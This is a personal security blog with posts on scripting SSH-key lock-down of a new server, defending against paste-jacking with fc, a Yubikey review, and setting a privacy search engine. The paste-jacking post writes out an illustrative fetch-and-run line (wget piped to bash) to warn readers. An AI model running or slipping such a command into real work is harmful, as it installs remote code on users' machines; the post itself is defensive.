c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Mon, 02 Jan 2017

Securing a new server

Happy new year! New year means new servers, right?

That provides its own set of interesting circumstances!

The server we’re investigating in this scenario was chosen for being a dedicated box in a country that has quite tight privacy laws. And it was a great deal offered on LEB.

So herein is the fascinating bit. The rig took a few days for the provider to set up and, upon completion, the password for SSHing into the root account was emailed out. (o_0)

In very security-minded considerations, that means that there was a window of opportunity for bad guys to work on guessing the password before its owner even tuned in. That window remains open until the server is better secured. Luckily, there was a nice interface for reinstalling the OS permitting its purchaser to select a password.

My preferred approach was to script the basic lock-down so that we can reinstall the base OS and immediately start closing gaps.

In order:

  • Set up SSH keys (scripted)
  • Disable password usage for root (scripted)
  • Install and configure IPset (scripted. details in next post)
  • Install and configure fail2ban
  • Install and configure PortSentry

  • In this post, we’re focused on the first two steps.

    The tasks to be handled are:

  • Generate keys
  • Configure local SSH to use key
  • Transmit key to target server
  • Disable usage of password for ‘root’ account

  • We’ll use ssh-keygen to generate a key — and stick with RSA for ease. If you’d prefer ECC then you’re probably reading the wrong blog but feel encouraged to contact me privately.

    The code:

    #configure variables
    remote_pass="thisisaratheraquitecomplicatedpasswordbatterystaple" # https://xkcd.com/936/
    local_date=`date -I`

    #generate key without passphrase
    ssh-keygen -b 4096 -P "" -C $local_user@local_host-$local_date -f $local_filename

    #add reference to generated key to local configuration
    printf '%s\n' "Host $remote_host" "IdentityFile $local_filename" >> ~/.ssh/config

    #copy key to remote host
    sshpass -p $remote_pass ssh-copy-id $remote_user@$remote_host

    #disable password for root on remote
    ssh $remote_user@$remote_host "cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak && sed -i '0,/RE/s/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config"

    We just run this script soon as the OS is reinstalled and we’re substantially safer. As a Deb8 install, quickly pulling down fail2ban and PortSentry makes things quite a lot tighter.

    In another post, we’ll visit the 2017 version of making a DIY script to batten the hatches using a variety of publicly provided blocklists.

    Download here:

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    Permalink: 20170102.securing.a.new.server

    Thu, 04 Jul 2013

    Preventing paste-jacking with fc

    Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

    Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";

    Paste below to see what lurks in the <span> that you’re not seeing:

    If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash

    Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

    In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

    So what’s the cure?

    Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

    To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

    This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

    Read more at ush.it and h-online.com.

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    Permalink: 20130704.prevent.paste-jacking.with.fc

    Tue, 04 Jun 2013

    Painless protection with Yubico’s Yubikey

    Recently, I ordered a Yubikey and, in the comments section of the order, I promised to write about the product. At the time, I assumed that there was going to be something about which to write: (at least a few) steps of setting up and configuration or a registration process. They’ve made the task of writing about it difficult, by making the process of using it so easy.

    Plug it in. The light turns solid green and you push the button when you need to enter the key. That’s the whole thing!

    Physically, the device has a hole for a keychain or it can slip easily into your wallet. It draws power from the USB port on the computer, so there’s none stored in the device, meaning it should be completely unfazed if you accidentally get it wet.

    Let’s take a look at the device.

    > lsusb | grep Yubico

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey

    We see that it is on Bus 5, Device 4. How about a closer look?

    > lsusb -v -s5:4

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey
    Couldn't open device, some information will be missing
    Device Descriptor:
      bLength                18
      bDescriptorType         1
      bcdUSB               2.00
      bDeviceClass            0 (Defined at Interface level)
      bDeviceSubClass         0 
      bDeviceProtocol         0 
      bMaxPacketSize0         8
      idVendor           0x1050 Yubico.com
      idProduct          0x0010 Yubikey
      bcdDevice            2.41
      iManufacturer           1 
      iProduct                2 
      iSerial                 0 
      bNumConfigurations      1
      Configuration Descriptor:
        bLength                 9
        bDescriptorType         2
        wTotalLength           34
        bNumInterfaces          1
        bConfigurationValue     1
        iConfiguration          0 
        bmAttributes         0x80
          (Bus Powered)
        MaxPower               30mA
        Interface Descriptor:
          bLength                 9
          bDescriptorType         4
          bInterfaceNumber        0
          bAlternateSetting       0
          bNumEndpoints           1
          bInterfaceClass         3 Human Interface Device
          bInterfaceSubClass      1 Boot Interface Subclass
          bInterfaceProtocol      1 Keyboard
          iInterface              0 
            HID Device Descriptor:
              bLength                 9
              bDescriptorType        33
              bcdHID               1.11
              bCountryCode            0 Not supported
              bNumDescriptors         1
              bDescriptorType        34 Report
              wDescriptorLength      71
             Report Descriptors: 
               ** UNAVAILABLE **
          Endpoint Descriptor:
            bLength                 7
            bDescriptorType         5
            bEndpointAddress     0x81  EP 1 IN
            bmAttributes            3
              Transfer Type            Interrupt
              Synch Type               None
              Usage Type               Data
            wMaxPacketSize     0x0008  1x 8 bytes
            bInterval              10

    There’s not a great deal to be seen here. As it tells you right on Yubico’s site, the device presents as a keyboard and it “types” out its key when you press the button, adding another long and complex password to combine with the long and complex password that you’re already using.

    Keep in mind that this device is unable to protect you from keyloggers, some of which are hardware-based. It’s critically important that you are very, very careful about where you’re sticking your Yubikey. Even Yubico cannot protect us from ourselves.

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    Permalink: 20130604.yay.yubico.yubikey

    Thu, 30 May 2013

    Making ixquick your default search engine

    In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

    Here’s how to configure your browser to automatically use a search engine that respects your privacy.


    1. Click Settings.
    2. Click “Set pages” in the “On startup” section.
    3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
    4. Click OK.
    5. Click “Manage search engines…”
    6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
    7. Enter
    8. Click “Make Default”.
    9. Click “Done”.


    1. Click the Tools Menu.
    2. Click Options.
    3. Click the General tab.
    4. In “When Firefox Starts” dropdown, select “Show my home page”.
    5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
    6. Click one of the English options here.
    7. Check box for “Start using it right away.”
    8. Click “Add”.


    1. Click “Manage Search Engines
    2. Click “Add”
    3. Enter
      Name: ixquick
      Keyword: x
      Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
    4. Check “Use as default search engine”
    5. Click “OK”

    Internet Explorer:

        _     ___  _ __        ___   _ _____ ___ 
       | |   / _ \| |\ \      / / | | |_   _|__ \
       | |  | | | | | \ \ /\ / /| | | | | |   / /
       | |__| |_| | |__\ V  V / | |_| | | |  |_| 
       |_____\___/|_____\_/\_/   \___/  |_|  (_) 
      (This is not a good strategy for privacy.)



    You are now one step closer to not having every motion on the Internet recorded.

    This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

    If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR

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    Permalink: 20130530.hey.you.get.offa.my.data